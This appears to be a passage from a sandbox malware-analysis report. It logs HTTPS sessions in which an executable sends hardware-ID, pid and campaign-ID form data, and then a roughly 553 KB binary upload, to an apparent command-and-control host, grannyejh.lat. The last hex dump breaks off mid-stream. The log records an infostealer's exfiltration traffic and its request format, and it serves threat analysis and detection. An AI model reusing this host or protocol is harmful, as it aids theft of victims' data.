2024-12-19 07:35:17 UTC	12808	OUT	Data Raw: 2d 2d 58 59 36 51 49 42 44 37 54 51 45 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 39 32 46 34 46 32 30 33 38 31 32 38 36 38 36 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 58 59 36 51 49 42 44 37 54 51 45 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 58 59 36 51 49 42 44 37 54 51 45 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 58 59 36 51 49 42 44 37 54 51 45 50 0d 0a Data Ascii: --XY6QIBD7TQEPContent-Disposition: form-data; name="hwid"192F4F2038128686AC8923850305D13E--XY6QIBD7TQEPContent-Disposition: form-data; name="pid"2--XY6QIBD7TQEPContent-Disposition: form-data; name="lid"PsFKDg--pablo--XY6QIBD7TQEP
2024-12-19 07:35:18 UTC	1122	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 07:35:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=j1nbui7su3umub6e2shou47fva; expires=Mon, 14 Apr 2025 01:21:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=E9mENCCuEYWK3yrHLLuKFnoQ0yzrcDAYB%2BGSLzPp%2FUaYjllYKqHZIYtautTz25du7OcIAKktGuwqx5mNmHFlO4Xi2dLA%2BOj9f1R%2FkWJWCn7WQS2Y3qpNxIJCdBOtW6Q6"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f45b70ecc7a42e0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1639&min_rtt=1631&rtt_var=629&sent=9&recv=16&lost=0&retrans=0&sent_bytes=2829&recv_bytes=13739&delivery_rate=1717647&cwnd=252&unsent_bytes=0&cid=4cb83d4e8c4d0d2b&ts=935&x=0"
2024-12-19 07:35:18 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-19 07:35:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49703	104.21.64.80	443	5412	C:\Users\user\Desktop\niwvNnBk2p.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 07:35:19 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=LL8D1N1HQAV User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15034 Host: grannyejh.lat
2024-12-19 07:35:19 UTC	15034	OUT	Data Raw: 2d 2d 4c 4c 38 44 31 4e 31 48 51 41 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 39 32 46 34 46 32 30 33 38 31 32 38 36 38 36 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4c 4c 38 44 31 4e 31 48 51 41 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4c 4c 38 44 31 4e 31 48 51 41 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 4c 4c 38 44 31 4e 31 48 51 41 56 0d 0a 43 6f 6e 74 Data Ascii: --LL8D1N1HQAVContent-Disposition: form-data; name="hwid"192F4F2038128686AC8923850305D13E--LL8D1N1HQAVContent-Disposition: form-data; name="pid"2--LL8D1N1HQAVContent-Disposition: form-data; name="lid"PsFKDg--pablo--LL8D1N1HQAVCont
2024-12-19 07:35:20 UTC	1121	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 07:35:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hple7k050in6raap39spvo3vme; expires=Mon, 14 Apr 2025 01:21:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SYbP2c7%2B0fEJ%2F5xM6u2igkJVEKxlRC7ma7auxWYcobKfFDHBJI7qcjsKILJKIYRZ6QZT2Ch6609hlAjoFuqLYq3UvQFCYuY%2FEYMmKIJEB07NAs7GCxBcvMERQPatEl6s"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f45b71d5fad42af-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2090&min_rtt=2086&rtt_var=790&sent=11&recv=20&lost=0&retrans=0&sent_bytes=2829&recv_bytes=15964&delivery_rate=1378008&cwnd=166&unsent_bytes=0&cid=5413e05bb4ef5760&ts=873&x=0"
2024-12-19 07:35:20 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-19 07:35:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49709	104.21.64.80	443	5412	C:\Users\user\Desktop\niwvNnBk2p.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 07:35:22 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=FNLQ163N1C0OOS22 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20389 Host: grannyejh.lat
2024-12-19 07:35:22 UTC	15331	OUT	Data Raw: 2d 2d 46 4e 4c 51 31 36 33 4e 31 43 30 4f 4f 53 32 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 39 32 46 34 46 32 30 33 38 31 32 38 36 38 36 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 46 4e 4c 51 31 36 33 4e 31 43 30 4f 4f 53 32 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 46 4e 4c 51 31 36 33 4e 31 43 30 4f 4f 53 32 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 46 4e Data Ascii: --FNLQ163N1C0OOS22Content-Disposition: form-data; name="hwid"192F4F2038128686AC8923850305D13E--FNLQ163N1C0OOS22Content-Disposition: form-data; name="pid"3--FNLQ163N1C0OOS22Content-Disposition: form-data; name="lid"PsFKDg--pablo--FN
2024-12-19 07:35:22 UTC	5058	OUT	Data Raw: 00 b6 b9 fe 28 58 da f6 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 36 d7 17 05 4b db 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e6 fa a3 60 69 db 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 db 5c 5f 14 2c 6d fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 9b eb 8f 82 a5 6d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 73 7d 51 b0 b4 ed a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 6d ae 2f f8 f5 58 32 78 29 1e bc 14 fc db e0 ab Data Ascii: (X6K~`iO\_,mi`m?ls}Qm/X2x)
2024-12-19 07:35:23 UTC	1128	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 07:35:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=dlseemcghvu93pj52eq0ault47; expires=Mon, 14 Apr 2025 01:22:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ki0oPgPCDcGSc3i1g0Q2yOlmSZ7UWOtr6DBFED5%2Fl6aDIjxyrpSJ%2FBmY%2FhCF5vqc7HZt5dGdXjjlnotaJMctLNMaHWIHG%2FhlSl3YAumrBAIcP%2FhyQqI8z%2Fgs2Rh0ron8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f45b72ca82043c3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1598&min_rtt=1588&rtt_var=617&sent=15&recv=25&lost=0&retrans=0&sent_bytes=2830&recv_bytes=21346&delivery_rate=1744324&cwnd=211&unsent_bytes=0&cid=f2baf5903ae7fdd8&ts=1046&x=0"
2024-12-19 07:35:23 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-19 07:35:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49720	104.21.64.80	443	5412	C:\Users\user\Desktop\niwvNnBk2p.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 07:35:24 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=V9T11NNB4YDQ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1201 Host: grannyejh.lat
2024-12-19 07:35:24 UTC	1201	OUT	Data Raw: 2d 2d 56 39 54 31 31 4e 4e 42 34 59 44 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 39 32 46 34 46 32 30 33 38 31 32 38 36 38 36 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 56 39 54 31 31 4e 4e 42 34 59 44 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 56 39 54 31 31 4e 4e 42 34 59 44 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 56 39 54 31 31 4e 4e 42 34 59 44 51 0d 0a Data Ascii: --V9T11NNB4YDQContent-Disposition: form-data; name="hwid"192F4F2038128686AC8923850305D13E--V9T11NNB4YDQContent-Disposition: form-data; name="pid"1--V9T11NNB4YDQContent-Disposition: form-data; name="lid"PsFKDg--pablo--V9T11NNB4YDQ
2024-12-19 07:35:25 UTC	1115	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 07:35:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jckfd9m6comdm350oetvda5ujq; expires=Mon, 14 Apr 2025 01:22:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BijHhsQw0MJtLg764xdGdfCQIwXoA%2BPOP1rjCAJiUt2u69ErfF3fBYYd3Q4PM5m7luE9DItVBiY9LSntj8iHD6qIeI01MZr3HynRiBVHMJhfVB2BvXXUWBmr5t2wq9ZV"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f45b73dac357cac-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1790&min_rtt=1782&rtt_var=684&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2831&recv_bytes=2109&delivery_rate=1580086&cwnd=197&unsent_bytes=0&cid=1b73dd12af77cc80&ts=1093&x=0"
2024-12-19 07:35:25 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-19 07:35:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49729	104.21.64.80	443	5412	C:\Users\user\Desktop\niwvNnBk2p.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 07:35:28 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=5YZ5H0MUTOS2EGI User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 553552 Host: grannyejh.lat
2024-12-19 07:35:28 UTC	15331	OUT	Data Raw: 2d 2d 35 59 5a 35 48 30 4d 55 54 4f 53 32 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 39 32 46 34 46 32 30 33 38 31 32 38 36 38 36 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 35 59 5a 35 48 30 4d 55 54 4f 53 32 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 35 59 5a 35 48 30 4d 55 54 4f 53 32 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 35 59 5a 35 48 Data Ascii: --5YZ5H0MUTOS2EGIContent-Disposition: form-data; name="hwid"192F4F2038128686AC8923850305D13E--5YZ5H0MUTOS2EGIContent-Disposition: form-data; name="pid"1--5YZ5H0MUTOS2EGIContent-Disposition: form-data; name="lid"PsFKDg--pablo--5YZ5H
2024-12-19 07:35:28 UTC	15331	OUT	Data Raw: c3 88 3c fd 01 74 be 78 83 9b 28 d0 46 24 0e fc be 32 84 0b e6 26 cb b9 65 47 c7 54 59 30 07 9e 54 73 43 9c bf 16 8d d2 cd 68 63 68 79 d5 cb f9 08 ce e5 f3 c5 80 d7 1f bb 8a b4 50 70 ee 1a b5 24 c7 a8 f5 cf cf aa 4e 38 01 31 52 ce 9f 3b 5f 25 4a 6a b6 dd 3b 69 61 9e f2 14 dc 55 3e 1d 35 0e dc e2 bf b8 75 6e 23 40 8c ba 22 61 91 e3 92 cb 9f 7e 8d 94 3c e7 00 f2 35 77 56 1c 1c 63 ec 0f a2 58 d9 9d 9c c9 da d2 94 2d b7 62 5c 54 e2 e6 da 62 83 d2 e5 de 6b bc 68 3c 46 a2 1c 91 68 46 e6 91 41 72 39 9d 98 42 2f 22 a2 ea 9d c3 41 54 f6 e0 5c b4 c1 b7 82 05 1a 0f 90 94 17 b8 d6 e0 bb 26 cf 32 29 58 68 d0 a9 fb 68 da 26 73 84 67 a5 47 9b ac 07 ed 82 0b 17 70 23 11 0e cd 42 4f 04 25 62 a3 78 38 22 7c 2f 16 1f 4b d2 e5 65 13 e0 c8 38 6a 6e 70 46 36 1a 49 3b c7 da 43 Data Ascii: <tx(F$2&eGTY0TsChchyPp$N81R;_%Jj;iaU>5un#@"a~<5wVcX-b\Tbkh<FhFAr9B/"AT\&2)Xhh&sgGp#BO%bx8"\|/Ke8jnpF6I;C
2024-12-19 07:35:28 UTC	15331	OUT	Data Raw: 8b 83 1f 58 73 88 8f d8 a9 7e 1d c1 79 8f 82 ff 15 d2 e4 3a f2 79 47 7c b8 cc 10 d6 9f ae 78 91 8b 70 8f b8 58 6c a2 99 86 1a c5 d2 21 ce 8a fa d2 29 4f e5 35 b5 cb 27 1f 52 b8 9f b1 79 ee bc 19 c4 cf 2b f5 ad 9f 1c 1f 7d 71 95 a1 85 4a 6c c1 62 20 30 7c f6 50 89 3a 0f 81 9f e8 cb 25 21 e0 25 46 d6 84 4b 9c 91 46 05 27 af 06 16 79 f1 9a e4 7f 68 92 53 e7 94 e4 67 c5 66 77 f4 85 bf b7 89 9f 33 7f b3 f8 ea 54 48 9d d7 e9 45 ec f1 1c 04 c7 96 5c a0 db 62 47 76 ad 6e 6a dd c7 46 d7 07 11 dd aa a8 f4 96 4f 2f 45 80 d1 39 db 7a 9c d1 e3 6c db c6 65 4a f2 e3 20 ee 07 4d a4 66 63 2c ec f9 66 89 fc 00 be fc 7d 20 c6 a0 be 72 19 d5 52 93 79 c0 b2 fd e9 9f 42 c8 00 1a 0a 70 93 e3 bf e8 9d 63 1e 7b 80 97 eb a3 7b f3 d7 b5 02 4d d4 6a 68 10 e1 a2 01 85 97 bf 19 8e 14 Data Ascii: Xs~y:yG\|xpXl!)O5'Ry+}qJlb 0\|P:%!%FKF'yhSgfw3THE\bGvnjFO/E9zleJ Mfc,f} rRyBpc{{Mjh
2024-12-19 07:35:28 UTC	15331	OUT	Data Raw: 45 0c 58 62 a8 e2 94 2f 6c c1 46 10 17 ad ae 92 f9 85 86 1c 0f fa a2 25 b6 3e bb c2 ca da b7 ca b8 c4 96 bf 40 c9 d4 e3 e5 c6 80 94 0d ce f7 f6 4d 3e a7 0f f4 08 13 5d 21 8f 2a ba 92 1c 5a 2a 3e ff 96 4c df f0 21 f1 b6 0b bf 7e e3 0d ab 1f 53 9a 79 14 d8 ac b9 f9 55 2c 56 ca 78 16 70 ea 4e 5e fe c3 f9 9e ca 91 4c 78 6b bc ca 79 39 c0 49 9c 16 ce dc 45 e1 34 89 f1 de 0a b9 9a a0 64 d7 67 40 bd 80 e0 7d 4f 68 dd 6b 68 b8 ff d7 dc e2 11 75 7e af 40 fb bd 44 e2 4c aa 6d e8 7f 08 ea f6 9b 6d d6 05 8e d3 5f e8 ad 33 86 7a ab 2b fa 7c 78 40 a8 dd d6 1f ae e9 02 53 88 70 2c 66 49 da 66 ff c1 a5 59 0a a7 a7 c2 47 91 11 71 44 99 5a 0a 7a 0e 93 24 af 94 fb a0 91 5c e7 d2 6a 2c 94 ee 25 86 5b 90 db 27 b2 17 06 93 16 ae 2d 70 75 a0 fa bf 8f f0 b4 c4 07 18 26 b2 64 f3 Data Ascii: EXb/lF%>@M>]!Z>L!~SyU,VxpN^Lxky9IE4dg@}Ohkhu~@DLmm_3z+\|x@Sp,fIfYGqDZz$\j,%['-pu&d
2024-12-19 07:35:28 UTC	15331	OUT	Data Raw: b1 53 bb 1e 61 9e 7a 12 fb 55 a0 95 33 a6 5b a1 37 f2 4e 07 7d 88 18 99 c0 7a 17 c9 78 5b fd a0 a5 84 0e 9b f4 05 46 d4 a2 a0 f5 9b 43 51 b0 52 68 5e f6 70 5f 6e e7 c3 05 dd 8f f8 c2 dc 69 71 92 0d 19 6b 2a b8 bb ea 57 a4 0f 9a be 21 3c ba d7 d5 48 c2 ad 41 62 6e 4b e4 c1 56 68 fa 4d be f5 38 6d 4a dd 59 fe 1b 93 f2 8b 6f 5a 35 1e 65 0a 78 5c 21 8e 66 9f 3c 56 85 81 44 05 b8 9f 51 5d 64 7d 8a 6f cf 16 d6 46 37 9c 41 b8 1e 05 ef 9d 75 fb df 1d 04 21 af 2f 99 d6 3d 0b bc 66 7b 77 d4 e9 a8 0c 9a 39 7b ec a1 6c 20 ba 87 87 9f ff 8d 35 be f8 f6 70 72 41 e1 70 66 4b a1 6c 59 14 54 83 24 be bd c9 cf b0 fd 17 c3 c5 c0 60 cd 40 b1 65 46 43 fd 49 fe a5 83 46 80 3a 73 d4 25 a0 6f fb a8 28 82 7e a1 6e e9 64 1f a9 f8 5f 87 48 af 1f 3c 2f fc 8a b8 89 53 54 97 6d 01 8e Data Ascii: SazU3[7N}zx[FCQRh^p_niqk*W!<HAbnKVhM8mJYoZ5ex\!f<VDQ]d}oF7Au!/=f{w9{l 5prApfKlYT$`@eFCIF:s%o(~nd_H</STm
2024-12-19 07:35:28 UTC	15331	OUT	Data Raw: eb b6 53 3f cd 1a 10 9a 42 30 8c 79 37 4c 4d 55 43 a9 27 23 7c 6c 44 41 f4 b9 85 e7 ef 2d ce ca 0a 4b a7 65 01 cb 8f 6a 92 40 66 ef 48 1b 92 25 7f 60 ce 8a d5 a3 08 aa 46 1b 45 80 a0 0c 90 f8 b7 02 79 84 64 ec d3 f7 c1 ed fa af f6 eb 81 19 4f ef 97 44 d2 2f 14 30 aa 2f a2 e7 2b df ca 78 31 f4 05 11 46 e5 39 b0 5a 5d 07 94 da d1 11 22 c4 bc ae f5 7f 34 d0 0b 16 0b 77 ad 04 40 e0 0c 62 4e 0c d8 99 32 33 20 ca c5 fb 66 18 fe 52 51 88 07 f5 ca ee 3b 94 82 01 98 26 57 28 c3 13 2a 05 96 f2 61 d8 5f 2b 37 d7 63 5a 7e 45 b4 c3 59 c5 95 b8 61 42 2a fb 08 ad fe 08 ad e0 2c 39 74 0a 3a 68 7c 70 be 94 26 da b6 80 64 25 44 cc fc 9b 21 b6 30 2a 37 9a 81 9d c2 08 0f f5 89 01 c4 f6 a8 42 bd 7e 3a c4 3a 5c c1 e9 dc 85 0b 92 c3 79 1b 99 08 b8 1d 2b 88 c7 e4 9d 53 13 e2 1c Data Ascii: S?B0y7LMUC'#\|lDA-Kej@fH%`FEydOD/0/+x1F9Z]"4w@bN23 fRQ;&W(a_+7cZ~EYaB,9t:h\|p&d%D!0*7B~::\y+S
2024-12-19 07:35:28 UTC	15331	OUT	Data Raw: 38 4c 4d d4 08 3c 53 90 09 17 9e d7 0f 7d 1f aa 00 35 45 55 0a 3d 76 d4 da 1c d3 07 24 0c 48 2a 4a 2c 30 18 76 49 f7 22 49 c4 30 8f 0d d3 01 56 5a fa e6 43 b5 01 3a 84 eb 3a 92 fb 53 f1 f9 d3 ab 1d db 79 37 f6 9d de c8 2b 20 a7 65 66 e3 7b 8e 92 7b a4 13 b5 a1 33 15 53 1d 84 80 8b 43 33 8b fa 52 1e ac dd f7 7e 0a 89 d0 b0 0e 2f e7 05 ce 40 44 ca 36 64 04 69 80 68 6e f2 c9 d6 2e 6f 37 38 df 9b 23 4c a9 10 96 3e cb 23 f6 ca 1e 4f f3 3e ef 40 8b e7 20 38 b7 3e c4 ee ad 5d 87 d8 11 38 6e d8 6b bd e8 2f 84 d2 53 bd 9f 20 97 65 59 76 c8 42 25 fd 53 84 ff f8 91 93 cd ca 4b 6d 1b ce b3 62 9f ab 4f ef ce 0c 1a 4a fc c9 18 b5 09 6d ad 1e fe 99 e3 59 fb bc 7b c4 ff 20 71 41 58 e0 20 26 ff 70 2f ee 08 0a 5c 64 19 02 d6 e7 d5 81 ac a0 f0 88 2b 6b 85 a4 4f c4 bc 6f 12 Data Ascii: 8LM<S}5EU=v$H*J,0vI"I0VZC::Sy7+ ef{{3SC3R~/@D6dihn.o78#L>#O>@ 8>]8nk/S eYvB%SKmbOJmY{ qAX &p/\d+kOo
2024-12-19 07:35:28 UTC	15331	OUT	Data Raw: 99 85 84 c3 31 c9 b8 ce 96 a8 82 74 05 69 27 8f 5a 43 6a 8b f8 32 f2 e1 7e 45 f6 a1 53 fd 0c 82 13 9a 23 2d 55 fa ce 73 da 26 c3 16 14 c9 a1 ae 18 eb 4e b0 e9 61 7c a0 77 cd 5b 06 bc 17 2d 57 13 ee cb 73 d8 f9 fd 5e cd 0a a5 53 57 57 08 54 c5 32 6a 55 18 df b4 f0 14 32 f0 61 f0 d8 b4 85 13 48 53 99 98 7e 21 df 2a 77 c0 c8 e4 de 42 2a 48 d3 29 74 06 b9 08 f0 e2 06 1a 36 b1 05 3e 4f c2 2d c3 0b 3f 80 10 75 68 52 7a 87 99 96 08 c4 0b a6 39 3c 2e 3a be 38 12 dd 5b 82 da 09 1d ca 77 32 00 a7 11 75 b9 5a 24 05 de e4 a3 21 18 b7 44 b6 5f b5 a3 04 f1 7b 16 b4 f3 ff 44 49 cf b7 42 e9 e7 6a 65 21 ab fa 42 ae d5 25 45 c2 da fe 3d 3a a5 dc 3b 47 46 28 05 82 e7 87 73 9f f4 8f b6 95 c5 a9 3f fd 91 4c c7 4e 51 bf 6a 3f 75 72 69 94 a1 76 54 77 be 46 bb 74 22 dc 92 f1 ad Data Ascii: 1ti'ZCj2~ES#-Us&Na\|w[-Ws^SWWT2jU2aHS~!wBH)t6>O-?uhRz9<.:8[w2uZ$!D_{DIBje!B%E=:;GF(s?LNQj?urivTwFt"
2024-12-19 07:35:28 UTC	15331	OUT	Data Raw: 4e 7f aa cd d5 76 bf 81 0a ec 98 f5 76 0d 7f 3b 62 ef bd 71 49 bd e8 e9 71 52 ee 2f 65 f6 c0 ff f1 22 bf 5f e6 9e f1 d0 70 81 ec 5c 7b 87 99 2e 0a fe 81 02 12 a8 07 85 b1 10 23 df b7 50 24 18 09 4f 7a a3 bb ca 76 3d 7f bb 6b 1f ea 03 a1 08 85 8a 95 96 8b aa 49 37 2e ff 97 9b dc ee 5a 9f cc 58 0c 3c 7b 6d c7 f4 d9 eb 02 cd 91 ed c7 36 a7 d7 cf 88 e0 4c f1 f2 a7 37 a8 be 05 5d 62 51 5f c6 be 8f bf b1 b5 68 9e 11 01 7a 4d 25 ea c0 64 fb f5 3e 1e 4a 99 ac d2 02 3f 97 5b ff fb 04 04 a6 fd 50 16 82 b1 c2 cb b1 55 a3 b7 aa 08 7d 3b 38 ed f8 ea 4c 4f 90 18 99 02 f5 62 75 68 4a 4f 60 51 64 c7 70 ea 59 40 78 fe 51 8d 6a 1e 1f 13 84 ba 8e 80 93 c1 72 54 ab 0c ac 01 c5 2c db 1f c6 4b 5f 44 68 55 be a6 6c 2a 6c 3d a1 7c 0e 9c 9d 90 